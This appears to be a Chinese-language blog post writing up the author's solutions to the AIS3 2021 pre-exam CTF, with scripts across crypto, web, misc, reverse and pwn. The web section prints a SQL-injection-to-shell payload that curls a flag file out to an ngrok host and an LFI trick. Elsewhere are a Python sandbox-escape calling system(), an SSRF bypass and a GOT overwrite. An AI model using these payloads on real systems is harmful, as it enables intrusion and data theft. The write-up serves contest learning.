Cavern.sigma
Welcome to Cavern.sigma
## 前言 距離上次打pre-exam又過了一年 但坦白講感覺自己根本沒啥進步 這一年來也沒認真打過CTF 要說的話也是因為忙啦 其實一年下來有好幾個比賽能打 像是 EOF, Balsn 之類的 但總是碰到期中期末之類的 我總是花少少的時間上去看一下 然後看不懂就放棄了 總歸就一句吧 ![I suck](https://imgur.dcard.tw/WDWrBTO.jpg) 話又說回來 這次pre-exam我是真的打的廢寢忘食 最近因為遠距教學 總是待在宿舍房間裡 剛好創造了全心全意(?)打CTF的環境 說是找回初心也稍微有點不對 總之就是有種「原來我可以這麼認真做一件事」的感覺 也算是有點收穫 ## 結果 這次一共解了15題 排名的話是第7名 已經是超乎我自己想像的結果了 ![score](https://i.imgur.com/pF5CuHM.png) ## Write-Up 下面放 Write-Up ### Welcome #### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi 總之就一直連進去把密碼試出來 得到密碼是 `2025830455298` flag: `AIS3{H1n4m1z4w4_Sh0k0gun}` ### Crypto #### Microchip 觀察code會發現它把字串每4個一組分別用4個key位移 已知前4個字`AIS3`,所以可以先把key找出來 ```python en = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu" pl = "3SIA" for i in range(4): print((ord(en[i])-ord(pl[i]) + 96) % 96) ``` 10 87 42 69 得到keys為 `[69, 42, 87, 10]` 於是就可以還原flag了 ```python keys = [69, 42, 87, 10] for i in range(0, len(en), 4): for j in range(3, -1, -1): print(chr((ord(en[i+j])-32-keys[3-j]+96)%96+32), end='') ``` `AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}22` flag: `AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}` #### ReSident evil villAge 這題是RSA加密 已知的密文是 `b'Ethan Winters'` 需要簽署對應的明文才能拿到flag 這裡可以使用 chosen plaintext attack 若原明文是$$P$$,另取一已知明文$$B$$,有 $$C = P^{e}\ mod \ n$$ $$C_b = P^{e}B^{e}\ mod\ n$$ 則 $$C_b$$ 解密後的明文有 $$P_b = PB \ mod\ n$$ 乘以 $$B$$ 對於 $$n$$ 的模反元素可以得到原明文 $$P$$ ```python from pwn import * from Crypto.Util.number import * r = remote('quiz.ais3.org', 42069) r.recvuntil('n = ') n = int(r.recvuntil('\n').strip()) r.recvuntil('e = ') e = int(r.recvuntil('\n').strip()) r.recv() c = bytes_to_long(b'Ethan Winters') known_plain = 2 cb = (pow(known_plain, e, n) * c) % n r.sendline(b'1') r.sendline(str.encode(hex(cb)[2:])) r.recvuntil("Signature: ") decrypted = int(r.recvuntil('\n').strip()) r.recv() r.sendline(b'2') r.sendline(str.encode(str((pow(known_plain, -1, n) * decrypted) % n))) r.interactive() ``` flag: `AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}` #### Republic of South Africa 參考 https://www.youtube.com/watch?v=jsYwFizhncE 可以知道 count 就是 $$\pi \times 10^{152}$$ 的整數部份 也就是 $$\pi$$ 的前153位 於是有 $$pq = n$$ 和 $$p+q = count$$ 小心計算可以解出 $$p, q$$ ```python phi = (p-1) * (q-1) d = pow(e, -1, phi) plain = pow(c, d, n) long_to_bytes(plain) ``` 得到 flag flag: `AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}` 其實這個影片我以前就有看過了 在搜尋的時候也第一時間想到要找它 ![](https://i.imgur.com/dzshl95.png) 拿到 flag 看到同一支影片倒是有點傻眼XD #### Microchess 由於儲存遊戲使用的 hash 是 Merkle–Damgård Construction 也就是`下一區塊hash = f(這一區塊hash, 下一區塊明文)` 其中 f 是 hash function 因此可以使用 length extension attack 這題雖然知道 padding 方法 但帶著 padding 遊戲應該無法還原 因此只好先製造沒有 padding 的遊戲 即字串長度為8或16 ```python state = int('<hex_given>', 16) block = int.from_bytes(hash.pad(b',1'), 'big') f(state, block).to_bytes(8, 'big').hex() ``` 於是可以多塞1顆石頭在最後面 拿走那顆石頭之後可以偷AI的code來用 決定接下來要拿哪裡 ```python def take(l): nim_sum = 0 for i in l: nim_sum ^= i for i, v in enumerate(l): target = v ^ nim_sum if target < v: pile = i count = v - target break return pile, count while 1: L = input() print(take(list(map(int, L.split(','))))) ``` 玩到贏即可獲得 flag flag: `AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0}` ### Misc #### [震撼彈] AIS3 官網疑遭駭! 從pcap中看到唯一一筆連線的網址不同,為`Index.php` 而得到的回應 `Index.php index.php` 看起來像下了`ls`指令 嘗試連線 magic.ais3.org 不通 連線到 IP 只看到 nginx 畫面 因此需要自己設定host 設定完後可連 `Index.php` 又連線中的參數`page=%3DogLgMHb` 即 `=ogLgMHb` 推測是反過來之後 base64 decode 實際測試得到 `ls .\n` 驗證了該推測 用以下code可以產生該參數 ```javascript encodeURIComponent(btoa("cat ../flag_c603222fc7a23ee4ae2d59c8eb2ba84d").split("").reverse().join("")) ``` flag: `AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}` #### Microcheese `Microchess`有bug的版本 輸入0, 1, 2以外的指令可以什麼都不做 等到AI拿到剩1顆石頭再拿走就贏了 flag: `AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}` #### Blind 這題的stdout被關閉 可以下dup的syscall複製stderr 查 syscall table 輸入 `32 2 0 0` 由於dup會把複製完的file descriptor給最小的可用數字 在這題裡會是1,因此可以經由strerr得到flag flag: `AIS3{dupppppqqqqqub}` #### Cat Slayer | Online Edition rebirth後可以移除字數限制 可以把字母全部解鎖 再上網找一個payload來用 ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('cat ../secr3t_flag_meow_meow') ``` flag: `AIS3{CAO_Cat_Art_Online}` ### Web #### ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ ```python data = '{"showflag": false, "username": "%s", "password": "%s"}' % ( request.form["username"], request.form['password'] ) ``` 從它的format string看出可以修改data 我們需要不是 `guest` 的username, showflag要為`True` 另外為了繞過 `users_db.get(user['username']) == user['password']` 可以使用 `null` 使password被轉成 `None` username則輸入不存在的值,`dict.get` 會回傳 `None` `None == None` 即可通過驗證 payload: `aaa`, `guest", "showflag":true, "password":null, "a":"a` 另外如果把 server 搞壞的話好像會被 ban 掉 會持續收到 500 Internal Server Error 但只要開新的隱私視窗就行了 flag: `AIS3{/r/badUIbattles?!?!}` #### 【5/22 重要公告】 觀察發現該網頁call的API `/?module=modules/api&id=3` 試著LFI該API `/?module=php://filter/convert.base64-encode/resource=modules/api` 得到 `api.php` 的原始碼: ```php <?php header('Content-Type: application/json'); include "config.php"; $db = new SQLite3(SQLITE_DB_PATH); if (isset($_GET['id'])) { $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true); $host = str_replace(' ', '', $data['host']); $port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE; echo json_encode($data); } else { $json_resp = []; $query_res = $db->query("SELECT * FROM challenges"); while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row; echo json_encode($json_resp); } ``` 發現這段 sqlite 可以 injection 再之後更使用了 `shell_exec` 有機會能從目標主機偷出資訊 payload: `/?modules/api&id=-6087 UNION ALL SELECT 1,"127.1'${IFS}80;curl${IFS}2d594268db42.ngrok.io/?sad=$(cat${IFS}../../../flag_81c015863174cd0c14034cc60767c7f5|tr${IFS}-d${IFS}'\n');echo${IFS}'","80" --` 其中 `${IFS}` 可以繞過空白檢查 而 `tr` 只是為了濾掉輸出的空白好讓curl正常運作 得到 `AIS3o1d_skew1_w3b_tr1cks_co11ect10n_:D` 再手工還原 flag: `AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}` #### HaaS 觀察網頁發現有個 hidden input `status` 測試後發現 `status` 與實際得到的status code不同的時候 網頁會把整個response印出來 因此可以試著印出這台主機本身的response 使用 `127.1` 作為 `127.0.0.1` 的替代可以繞過檢查 得到 flag flag: `AIS3{V3rY_v3rY_V3ry_345Y_55rF}` ### Reverse #### 🐰 Peekora 🥒 這題是 python pickle 的 reverse 主要看懂 MARK, TUPLE, REDUCE 就可以還原成 python code ```python [exit, str][input("FLAG:")[5]=="d"]() ``` 大概會有好幾段類似這樣的東西 慢慢解讀完就能得到 flag flag: `AIS3{dAmwjzphIj}` #### Piano 把它的dll拿去decompile會看到這一段code: ```csharp List<int> intList1 = new List<int>() [ 14, 17, 20, 21, 22, 21, 19, 18, 12, 6, 11, 16, 15, 14 ]; List<int> intList2 = new List<int>() { 0, -3, 0, -1, 0, 1, 1, 0, 6, 0, -5, 0, 1, 0 }; for (int index = 0; index < 14; ++index) { if (this.notes[index] + this.notes[(index + 1) % 14] != intList1[index] || this.notes[index] - this.notes[(index + 1) % 14] != intList2[index]) return false; } return true; ``` 算出notes為`[7, 7, 10, 10, 11, 11, 10, 9, 9, 3, 3, 8, 8, 7]` 照著按一遍可得到flag flag: `AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}` ### Pwn #### Write Me 雖然 system got 指向的位址被清空了 但我們可以對任意位址寫任意值 於是用 gdb 把原本 system got 指向的位址找出來 即 `0x401050` 輸入 `4210728`(0x404028), `4198480`(0x401050) 就可以順利呼叫system得到shell flag: `AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}`
2021-06-01 00:29:37
留言
Last fetch: --:-- 
現在還沒有留言!